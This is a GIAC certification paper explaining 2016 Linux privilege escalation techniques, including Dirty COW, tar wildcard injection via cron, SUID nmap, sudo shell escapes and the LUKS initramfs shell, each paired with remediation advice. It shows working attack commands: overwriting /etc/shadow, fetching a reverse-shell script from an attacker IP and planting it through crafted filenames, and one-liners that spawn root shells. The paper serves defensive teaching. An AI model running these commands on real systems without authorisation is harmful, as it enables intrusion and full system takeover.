Global Information Assurance Certification Paper

Attack and Defend: Linux Privilege Escalation Techniques of 2016

GIAC (GCIH) Gold Certification

Author: Michael C. Long II, mrlong0124@gmail.com
Advisor: Adam Kliarsky
Accepted: January 27th 2016

Abstract

Recent kernel exploits such as Dirty COW show that despite continuous improvements in Linux security, privilege escalation vectors are still in widespread use and remain a problem for the Linux community. Linux system administrators are generally cognizant of the importance of hardening their Linux systems against privilege escalation attacks; however, they often lack the knowledge, skill, and resources to effectively safeguard their systems against such threats. This paper will examine Linux privilege escalation techniques used throughout 2016 in detail, highlighting how these techniques work and how adversaries are using them. Additionally, this paper will offer remediation procedures in order to inform system administrators on methods to mitigate the impact of Linux privilege escalation attacks.

1. Introduction

Privilege escalation is an important step in an attacker's methodology. Privilege escalation is the practice of leveraging system vulnerabilities to escalate privileges to achieve greater access than administrators or developers intended. Successful privilege escalation attacks enable attackers to increase their level of control over target systems, such that they are free to access any data or make any configuration changes required to ensure freedom of operation and persistent access to the target system (Williams, 2016).

While organizations are statistically likely to have more Windows clients, Linux privilege escalation attacks are significant threats to account for when considering an organization's information security posture. Consider that an organization's most critical infrastructure, such as web servers, databases, firewalls, etc. are very likely running a Linux operating system. Compromises to these critical devices have the potential to severely disrupt an organization's operations, if not destroy them entirely. Furthermore, Internet of Things (IoT) and embedded systems are becoming ubiquitous in the workplace, thereby increasing the number of potential targets for malicious hackers. Given the prevalence of Linux devices in the workplace, it is of paramount importance that organizations harden and secure these devices.

The challenge is that system administrators may be unaware of threats to their Linux system, and by extension, their organization. After all, it is easy to overlook Linux systems that are setup once and summarily forgotten about. Furthermore, administrators may lack the skill or knowledge to properly examine and secure Linux-based IoT devices and embedded devices. These shortcomings can be addressed through a detailed examination of the threats to enterprise Linux systems, remembering that offense informs defense.

The purpose of this research is to examine Linux privilege escalation techniques in detail, particularly techniques that are in active use as of 2016. The techniques examined include current kernel exploits, exploiting weak system configurations, and also conducting physical access attacks where only a keyboard is present. The focus of this subject matter is on demonstrating how these privilege escalation techniques work so that Linux users can apply these techniques in their own environment to validate the

existence of these vulnerabilities on their systems. This research will then provide recommended remediation procedures in order to provide Linux users practical methods to defend against Linux privilege escalation attacks and ultimately enhance their security posture.

WARNING: The techniques described in this paper should never be attempted against production systems without express written permission from the information system owner. Errant use of these techniques can result in system instability, service disruption, and loss of data. The author strongly recommends first applying these techniques in a sanctioned lab environment only after creating backups, restore points, and/or system snapshots.

2. Kernel Exploits

Kernel exploits are programs that leverage kernel vulnerabilities in order to execute arbitrary code with elevated permissions. Successful kernel exploits typically give attackers super user access to target systems in the form of a root command prompt. In many cases, escalating to root on a Linux system is as simple as downloading a kernel exploit to the target file system, compiling the exploit, and then executing it.

While information about kernel exploits is well documented, it still remains a significant problem for Linux users as new kernel exploits are uncovered on a regular basis. One kernel exploit, Dirty COW, received a great deal of attention because of its severe and widespread impact on millions of Linux devices.

2.1 Dirty Cow Exploit

During October 2016, security researcher Phil Oester discovered a new Linux kernel privilege escalation exploit in use by malicious attackers in the wild. This exploit, initially obtained through an HTTP packet capture, leverages a race condition vulnerability to force the Linux kernel to write arbitrary data to restricted system files. The proof of concept provided by Phil Oester shows that attackers can use the exploit to "gain highly privileged write-access rights to memory mappings that would normally be read-only" (Goodin, 2016). As a result of this exploit, attackers can write malicious code

into privileged files which can then be executed under the context of the root account to escalate privileges.

The race condition vulnerability exists because of a flaw in the way the "Linux kernel's memory subsystem handles the copy-on-write (COW) function of private read-only memory mappings" (Oester, 2016). Restated simply, the race condition occurs as the kernel executes specific functions that essentially read a file into memory, create a copy of the file in memory, and then write data to the copy (not the original). When this process occurs rapidly over thousands of iterations, an edge case occurs where the kernel erroneously overwrites the original file. The impact of this vulnerability is that attackers may overwrite nearly any file of their choosing without restriction. This enables attackers to overwrite sensitive system files such as "/etc/shadow" or introduce backdoors into privileged programs completely circumventing operating system security.

Because of the security implications, the Dirty COW exploit was declared "the most serious Linux local privilege escalation exploit ever" by Dan Rosenberg, a senior researcher at Azimuth Security (Goodin, 2016). Rosenberg's assessment stems from the fact that the Dirty COW vulnerability exists in virtually every distribution of Linux. According to Security Focus, over 770 Linux versions are vulnerable to Dirty COW (Security Focus, 2016). Furthermore, the vulnerability has been known to exist as early as 2005 (Torvalds/Linux Foundation, 2016). This may suggest that adversaries have actively used the exploit for years without detection or mitigations.

The following example will demonstrate how DirtyCOW can be used by attackers to overwrite a protected system file, "/etc/shadow", with a modified version in order to escalate privileges.

WARNING: This exploit will result in system instability. Before executing these commands, make a backup copy of the "/etc/shadow" file.

```
1.  [user@localhost]$ gcc -lpthread dirtyCOW.c -o dirtyCOW
2.  [user@localhost]$ ./dirtyCOW /etc/shadow
    "root:X:1:0:99999:1:::"
3.  [user@localhost]$ su root
```

```
4.  ********
5.  [root@localhost]# whoami
6.  [root@localhost]# root
7.  [root@localhost]# cp /etc/shadow.bak /etc/shadow
```

Note: X is a placeholder for the SHA-512 hashed representation of a password such as "password":
6/O0VgLHW$6kJn4yOvn.yZCXVYShVeWolLnmHA7RDet8Sd/TiB4SzVU8PcCvPAamio086tgrDtjGij6dOaRtJj9Zm8JodFM0

Figure 1 - DirtyCOW Privilege Escalation

In this example, the attacker first compiles dirtyCOW.c into an executable (1). The attacker then specifies that the exploit will overwrite "/etc/shadow" with a string that replaces the root account's password to "password" (2). When complete, the attacker executes the substitute user command "su" to switch to root, and enters the password (3). The attacker verifies that he is in fact root (5-6). Finally, the attacker copies the backup file, "/etc/shadow.bak" over the tampered "/etc/shadow" (7), which restores functionality to the altered environment. In summary, this example demonstrates that given a vulnerable kernel, attackers can use Dirty COW to overwrite any file of their choosing, completely circumventing system permission security.

2.2 Kernel Exploit Remediation

At the time of this writing, patches that resolve the Dirty COW vulnerability are available for most mainstream Linux distributions, including Ubuntu, Debian, RHEL/CENTOS, ARCH, and Gentoo. Simply patching the vulnerable kernel will negate the Dirty COW exploit entirely; therefore, the easiest way to defend against kernel exploits is to keep the kernel patched and updated. That said, there are significant challenges to remediating kernel vulnerabilities through patching alone. First, routine patching will not impede a cutting edge zero-day exploit. Second, the sheer volume of potentially vulnerable devices makes this a difficult problem to solve through patching alone. Consider that Internet of Things and embedded devices are at risk of being overlooked despite the fact that they are likely targets of exploitation. These specialized devices may not even have patches to address critical vulnerabilities. In these cases, administrators should focus on negating the attack vector. Consider that for a kernel exploit attack to succeed, an adversary requires four conditions:

1. A vulnerable kernel
2. A matching exploit
3. The ability to transfer the exploit onto the target
4. The ability to execute the exploit on the target

In the absence of patches, administrators can strongly influence conditions 3 and 4. Given these considerations, kernel exploit attacks are no longer viable if an administrator can prevent the introduction and/or execution of the exploit onto the Linux file system. Therefore, administrators should focus on restricting or removing programs that enable file transfers, such as FTP, TFTP, SCP, wget, and curl. When these programs are required, their use should be limited to specific users, directories, applications (such as SCP), and specific IP addresses or domains. Furthermore, the activities of users with these application permissions should be logged and monitored. These conditions create significant obstacles for an adversary to contend with and also provide administrators early warnings that can enable rapid detection of compromise. Next, administrators should consider restricting or removing compilers, such as gcc and cc, if they are not required. Attackers often compile kernel exploits on the target system to ensure their exploits will work. Removing compilers will impede attackers; however, be warned that determined attackers may still compile the exploit on a system that is identical or closely resembles the target. Finally, administrators should limit directories that are writeable and executable, particularly by service users such as www-apache. If an attacker does not have the ability to execute his exploit, the attack is rendered ineffective. Proper implementations of these configurations severely impedes an attacker's ability to deploy kernel exploits, ultimately reducing the attack surface and enhancing the Linux system's security posture.

3. Exploiting Weak Services

While kernel exploits can be an effective means to escalate privileges, they can often result in system instability because they tamper with the very foundation of the operating system. Furthermore, kernel exploits are less likely to be successful in environments with thorough patching practices. For these reasons, penetration testers and

attackers alike often focus on identifying and exploiting weak Linux services and configurations due to their relative stability and also because of their prominence on modern Linux systems. This section will examine several techniques that can be employed to highjack privileged applications and also examine effective remediation methods.

3.1 Wildcard Injection

Most Linux administrators are quite familiar with Linux wild cards, particularly the asterisk (*). Wildcards make it easy for users to perform operations on arbitrary ranges or classes of characters. For example, to view all files that end with "txt" a user can type the following:

```
1.  [user@localhost]$ ls -ls *txt
```

Figure 2 – Basic Wild Card Use

What many Linux users may not know is that wild cards can be manipulated to perform privilege escalation. Using wild cards to exploit Linux systems was first published by Leon Juranic in his paper, "Back to the Future: Unix Wildcards Gone Wild" during 2014. The premise of Juranic's paper is that wild cards can be utilized to inject arbitrary commands into the Linux environment. The following example demonstrates how wild cards can be exploited into executing an arbitrary command.

```
1.  [user@localhost temp]$ ls
2.  file1  file2  dir1  dir2
3.  [user@localhost temp]$ nano
4.  <from the nano text editor, save a file called "-rf">
5.  [user@localhost temp]$ ls
6.  file1  file2  dir1  dir2  -rf
7.  [user@localhost temp]$ rm *
8.  [user@localhost temp]$ ls
```

```
9.  -rf
```

Figure 3 – Basic Wild Card Command Injection

In this example, files present in the "temp" directory are listed using "ls" (1). Notice that there are two files and two directories (2). Next, the text editor Nano is used to save a file called "-rf", which will function as a parameter for the "rf" command (3-4). Nano is used because modern Linux shells prevent users from creating files with characters such characters such as "-". The "ls" command is executed again to see all files in the temp directory, including the newly created "-rf" file (5-6). Finally, the command "rf *" is entered (7). Finally, the "ls" command is entered (8). Notice that the bash shell recursively deleted all files and directories from the temp folder (9). In this example, the "-rf" parameter was not provided as part of the "rm" command by the user. Rather, the wild card symbol "*" caused the bash shell to interpret the "-rf" file as a parameter, and executed the command "rm -rf". This demonstrates how seemingly harmless data can be interpreted as arbitrary commands if strategically injected into the operating system. With the correct conditions, this flaw can be leveraged to achieve privilege escalation, as explained in the next example.

The author recently utilized the wild card injection technique during a routine security engagement, which the following example is based on. For this example, imagine an attacker gains low privilege access to a Linux system via a password attack against an SSH server. During post-access reconnaissance, the attacker identifies a cron job which periodically executes the TAR command to backup the contents of all users' home directories. The cron job resembles the following:

```
1.  0 5 * * * root tar -zcf /var/backups/home.tgz /home/*
```

Figure 4 – Example Cron Job

In this example the cron job executes the TAR command to backup the contents of all users' home directories every day at 5:00 am. Note that the cron job executes with root permissions. If one were to peruse the TAR command manual pages, they would notice that TAR contains parameters for arbitrary code execution. These parameters are

"`--checkpoint=<number>`" and "`--checkpoint-action=<command>`", where checkpoint corresponds to a specific number of files that should be handled by TAR before performing the action specified in checkpoint-action parameter. These parameters exist to allow users to create actions after a certain number of files have been handled by the TAR command, for example, to run a cleanup script after archiving 100 files. The following commands demonstrate how these conditions can be used to escalate privileges.

```
1.  [user@localhost home]$ wget http://192.168.0.66/rshell.sh
2.  [user@localhost home]$ touch "–checkpoint-action=
    exec=sh rshell.sh"
3.  [user@localhost home]$ touch "–checkpoint=1"
4.  <Open a listener on attack platform, wait for cronjob to
    execute rshell.sh.>
```

Figure 5 – Wild Card Privilege Escalation

In this example, the attacker first downloads "rshell.sh" which functions as a reverse shell payload; this is the attacker's code that the root account will execute at the completion of this exploit (1). Next, the attacker creates two files using the touch command (2-3). These file names match parameters for the TAR command, directing TAR to set a checkpoint after archiving the first file, and then execute rshell.sh when checkpoint 1 is reached. Last, the attacker employs a listener on his attack platform using a tool such as Netcat to catch the reverse shell payload (4). At this point, the attacker has everything in place to escalate privileges. The attacker patiently waits until the cron job executes. At 5:00 am, the cron job runs, and the TAR command archives the contents of all files in the "/home/" directory. However, the bash shell interprets the crafted file names created in steps 2-3 as parameters to the TAR command. Therefore, the TAR command first creates a checkpoint as instructed by the "`–checkpoint=1`" parameter. This checkpoint is reached after archiving one file. This causes the TAR command to execute the rshell.sh payload, as indicated by the "`–checkpoint-action=exec=sh rshell.sh`" parameter. The payload executes and the attacker receives a reverse shell

with root privileges. In summary, the attacker was able to escalate privileges by creating file names that matched parameters to the TAR command. The wild card present in the root cron job caused the bash shell to interpret the files as parameters for code execution. When the system executed the cron job, the injected parameters caused TAR to execute a reverse shell payload granting the attacker root access to the target.

3.2 Wildcard Injection Remediation

This section demonstrated that wild cards can introduce critical vulnerabilities if improperly utilized. Fortunately, these vulnerabilities are simple to remediate. First, administrators should be cognizant of the risks of deploying automatic scripts and services that run as root. Where possible, administrators should conform to the principle of least privilege, instead relying on sudo privileges and group permissions instead of blanket use of the root account. Next, when actually crafting cron jobs, administrators should refrain from using wild cards, and instead be explicit in their declarations. Referring to the previous example, administrators could have simply omitted the wild card "*" and the script would have retained all functionality without any of the risks.

3.3 The Infamous SUID Executable

SUID, which stands for set user ID**,** is a Linux feature that allows users to execute a file with the permissions of a specified user. For example, the Linux ping command typically requires root permissions in order to open raw network sockets. By marking the ping program as SUID with the owner as root, ping executes with root privileges anytime a low privilege user executes the program. Linux systems also feature the SGID, or set group ID, which allows programs to run as a specified group; for simplicity, this section will focus on SUID, but these techniques also apply to SGID.

SUID is a feature that, when used properly, actually enhances Linux security. The problem is that administrators may unwittingly introduce dangerous SUID configurations when they install third party applications or make logical configuration changes. For example, the author recently encountered a Linux system with Nmap, the network mapper tool, configured with SUID permissions as root. This seemed to be a logical administration choice, as Nmap requires root permissions in order to craft network packets for deeper port scanning. However, this is an extremely dangerous choice

because Nmap can execute arbitrary commands through its interactive mode console or through its scripting engine. The following commands demonstrate a successful privilege escalation attack through Nmap's interactive mode.

```
1.  [user@localhost home]$ nmap –interactive
2.  nmap> !sh
3.  # whoami
4.  root
```

Figure 6 – SUID Privilege Escalation with Nmap

This example demonstrates why SUID programs are enticing targets for attackers. These programs often run with root privileges and poor implementations trivialize the task of privilege escalation.

3.4 SUID Abuse Mitigations

The technique shown in the Nmap example can easily be applied to other SUID programs. Linux administrators should expect that attackers will certainly search file systems for the presence of vulnerable SUID binaries as part of their post-access reconnaissance. The first step towards mitigating the impact of SUID binary exploitation is to properly inventory and account for them. Administrators and attackers alike can inventory SUID binaries by executing the following command:

```
$ find directory –user root –perm –4000 –exec ls –ld {} \; >/tmp/setuid
```

Figure 7 – Performing a SUID Inventory

Once the inventory is complete, administrators should scrutinize their SUID applications to determine if they legitimately require elevated permissions, and also to check if the application contains parameters that can be abused. Administrators should be on the lookout for SUID binaries that contain parameters for code execution, such as '`-e`' or '`--exec`', or for parameters that write arbitrary data to the file system. These parameters can typically be found within the manual pages of the respective application. Next, administrators should identify and correct world writeable SUID programs, as these

can enable attackers to insert malicious code into the privileged program's execution. Lastly, administrators should examine their partitioning schemes as they relate to SUID binaries. For example, administrators may consider partitioning their drives so that 'nosuid' are set for user partitions, as this will prevent users from introducing insecure SUID binaries to the file system.

It is also worth noting that after attackers successfully escalate privileges, they often create additional backdoors for future use by marking command shells, text editors, and interactive programs as SUID, and placing them in obscure locations of the file system. Regularly auditing and validating SUID binaries will mitigate SUID privilege escalation attacks and can also aid in identifying and responding to unauthorized intrusions.

3.5 Exploiting SUDO Users

While attackers may not be able to deploy exploits to escalate privileges, they can and will target privileged users (Williams, 2016). Attackers are particularly interested in compromising sudo users, that is, users who can execute sudo commands. Sudo, which stands for "substitute user do," allows a Linux user to run a command as another user, typically root. If an attacker can compromise a user who has sudo rights, he can potentially execute arbitrary commands with root privileges.

Administrators are generally aware that they need to properly manage their sudo users just as they manage the root account to prevent sudo misuse. However, critical vulnerabilities are frequently introduced by well-meaning administrators because they installed a poorly configured third party application or issued sudo rights without awareness of command execution vulnerabilities.

The follow example demonstrates how attackers escalate privileges via sudo abuse. An administrator assigns sudo rights to the "find" command so that a help desk technician can routinely search the filesystem to identify and delete large files. While the administrator thought this was a sensible and necessary configuration, he unwittingly introduced a critical privilege escalation vulnerability because the "find" command

contains parameters for command execution. This can be confirmed by entering the following commands.

```
1. [user@localhost]$ sudo find /etc -exec sh -i \;
2. # whoami
3. root
```

Figure 8 – Sudo Privilege Escalation: Find

This technique can be applied to many Linux programs, including Vi, Less, More, and others, as indicated by the following examples.

```
1. [user@localhost]$ sudo vi
2. :shell
3. [root@localhost]#
```

Figure 9 – Privilege Escalation: Vi

```
1. [user@localhost]$ sudo less file.txt
2. !bash
3. [root@localhost]#
```

Figure 10 – Sudo Privilege Escalation: Less

```
1. [user@localhost]$ sudo more long_file.txt
2. !bash
3. [root@localhost]#

Note: for this method to work, the attacker has to read a file that is longer than one page
```

Figure 11 – Sudo Privilege Escalation: More

Programming language compilers and interpreters are just as susceptible to sudo abuse. The following commands demonstrate the simplicity of escalating privileges through language interpreters with sudo permissions. In these examples, each programming language is executing a one line statement to execute a root shell.

```
1. [user@localhost]$ sudo python -c 'import pty; pty.spawn("/bin/sh")'
2. [user@localhost]$ sudo perl -e 'exec "/bin/sh";'
3. [user@localhost]$ sudo ruby -e 'exec "/bin/sh"'
```

Figure 12 – Sudo Privilege Escalation: Programming Languages

Michael C. Long II, mrlong0124@gmail.com

3.6 SUDO Abuse Mitigations

Properly mitigating sudo abuse requires careful management of sudo users and their permissions. Administrators must ensure that their sudo users utilize strong passwords, as attackers will almost certainly perform password cracking attacks against sudo users. Additionally, administrators should screen sudo users for access to programs that contain parameters for arbitrary code execution. Referring to the examples above, administrators may consider using Nano instead of Vi. If a user needs read access to sensitive files, consider adding them to specific groups that have permissions to read the file, rather than giving them blanket sudo rights. Ultimately, administrators must treat sudo users with the same level of care and caution required of the root account.

4. Physical Access Attacks

Physical access attacks pose significant threats to system security. In most cases, an adversary with physical access can completely compromise the confidentiality, integrity, and availability of target systems. While the threats of physical access attacks are well known, there are different degrees of physical access that may or may not enable attackers to compromise systems. For example, it is trivial for attackers to compromise systems if they have unfettered access to CD/DVD drives, USB ports, and hard drives. On the other hand, it is significantly harder to compromise systems with access to only a keyboard and a restricted desktop. This section will examine a critical vulnerability in the LUKS crypto system that enables attackers to escalate privileges to root by merely holding the enter key for approximately 70 seconds.

4.1 LUKS Vulnerability – Enter Key to Root in 70 Seconds

Security researchers Hector Marco and Ismael Ripollas disclosed a unique physical access attack during their presentation, “Abusing LUKS to Hack the System” given at the DeepSec 2016 security conference. According to Marco and Ripollas, attackers could gain access to a root initramfs (initial RAM file system) shell by pressing the ‘enter’ key 93 times on vulnerable Linux systems (Marco & Ripoll, 2016). This vulnerability occurs because of a flaw in the password check function of the file

"/scripts/local-top/cryptroot/" which is part of the Cryptsetup utility. The Cryptsetup utility is the standard implementation of disk encryption on Linux-based systems. The subject flaw pertains to how the Cryptsetup utility processes repeat password failures. When a user exceeds the maximum number of password attempts, the boot sequence continues; however, the calling script, "/scripts/local" handles the authentication error as if it were caused by a slow device that requires more time to warm up. The booting scripts then try to recover or remount the "failing" device. After this process occurs about 93 times (on x86), a transient hardware fault is reached. At this point, the top level script is not aware of the root cause of the fault and drops the user in a root shell.

At this point, attackers are free to make changes to the system. It is important to note that the hard drive is still encrypted as the attacker does not have the LUKS password. However, attackers can still introduce root owned SUID binaries into non-encrypted partitions, such as the boot partition. They can then log in with low privilege credentials, execute the SUID binary, and escalate to root, thereby compromising the system.

This attack is notable because of its reliability and its widespread exposure. This attack does not depend on specific systems or configurations; it only requires a Linux system that is LUKS encrypted, which is ubiquitous across many Linux distributions. Furthermore, this vulnerability is viable in restricted environments, such as ATMs, airport terminals, libraries, etc, where the boot process is protected and only a keyboard is present.

4.2 LUKS Attack Remediation

While this attack poses serious threats to Linux systems, correcting this vulnerability is a relatively simple process. First, users should confirm if their systems are vulnerable. This can be done by pressing the Enter key for approximately 70 seconds at the LUKS password prompt until a shell appears. If vulnerable, users may check with their Linux distribution support vendor to confirm if a patch is available. If not, the issue can be corrected by modifying the cryptroot file to stop the boot sequence when the

number of password attempts has been exhausted. For this, users can add the following commands to their boot configuration (Khandelwal, 2016):

```
1.  [user@localhost]$ sed -i
's/GRUB_CMDLINE_LINUX_DEFAULT="/GRUB_CMDLINE_LINUX_DEFAULT="panic=5
/' /etc/default/grub grub-install
```

Figure 13 – LUKS Attack Remediation Commands

5. Conclusion

This research examined several Linux privilege escalation techniques that are in active use as of the date of this publication. While the Linux community has made great progress in securing their systems, these exploits demonstrate that critical vulnerabilities are still present in the Linux kernel, the operating system, and user level applications. Many of the privilege escalation techniques discussed will remain viable for the foreseeable future, as they exploit foundational capabilities of the Linux operating system. This fact reinforces the importance of identifying, validating, and remediating Linux privilege escalation vulnerabilities. Linux systems such as production servers, embedded devices, and cloud infrastructure are often critical requirements for an organization to operate. If these devices are compromised, the safety of the organization is at stake. Therefore, the author encourages Linux administrators to take ownership of the security of these devices and harden them accordingly. In essence, if administrators stay current on patches, carefully audits and privileged programs and users, and follows secure computing practices, they can dramatically reduce their susceptibility to privilege escalation attacks and ultimately enhance their Linux security posture.

References

Goodin, D. (2016, October 10). “Most serious” Linux privilege-escalation bug ever is under active exploit (updated) | Ars Technica. Retrieved from http://arstechnica.com/security/2016/10/most-serious-linux-privilege-escalation-bug-ever-is-under-active-exploit/

Juranic, L. (2014, June 25). Back To The Future: Unix Wildcards Gone Wild. Retrieved from http://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt

Khandelwal, S. (2016, October 20). Dirty COW — Critical Linux Kernel Flaw Being Exploited in the Wild. Retrieved from http://thehackernews.com/2016/10/linux-kernel-exploit.html

Khandelwal, S. (2016, November 15). This Hack Gives Linux Root Shell Just By Pressing 'ENTER' for 70 Seconds. Retrieved from http://thehackernews.com/2016/11/hacking-linux-system.html

Marco, H., & Ripoll, I. (2016, November 14). Enter 30 to shell: Cryptsetup Initram Shell [CVE-2016-4484]. Retrieved from http://hmarco.org/bugs/CVE-2016-4484/CVE-2016-4484_cryptsetup_initrd_shell.html

Oester, P. (2016, October 19). Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' /proc/self/mem Race Condition PoC (Write Access). Retrieved from https://www.exploit-db.com/exploits/40611/

Security Focus. (2016, October 19). Linux Kernel CVE-2016-5195 Local Privilege Escalation Vulnerability. Retrieved from http://www.securityfocus.com/bid/93793/info

Teodorczyk, M. (2014). Understanding Privilege Escalation ADMIN Magazine. Retrieved from http://www.admin-magazine.com/Articles/Understanding-Privilege-Escalation

Torvalds/Linux Foundation, L. (2016, October 13). mm: remove gup_flags FOLL_WRITE games from __get_user_pages(). Retrieved from http://kernel.opensuse.org/cgit/kernel/commit/?id=e45a502bdeae5a075257c4f061d1ff4ff0821354

Vasilenko, R. (2015, July 7). Unmasking Kernel Exploits. Retrieved from http://labs.lastline.com/unmasking-kernel-exploits

Wiliams, J. (2016, September 10). *Linux privilege escalation for fun profit and all around mischief* [Video file]. Retrieved from https://www.youtube.com/watch?v=dk2wsyFiosg&list=PLNhlcxQZJSm_4V8VDudQyBFp8b91rBHTj&index=23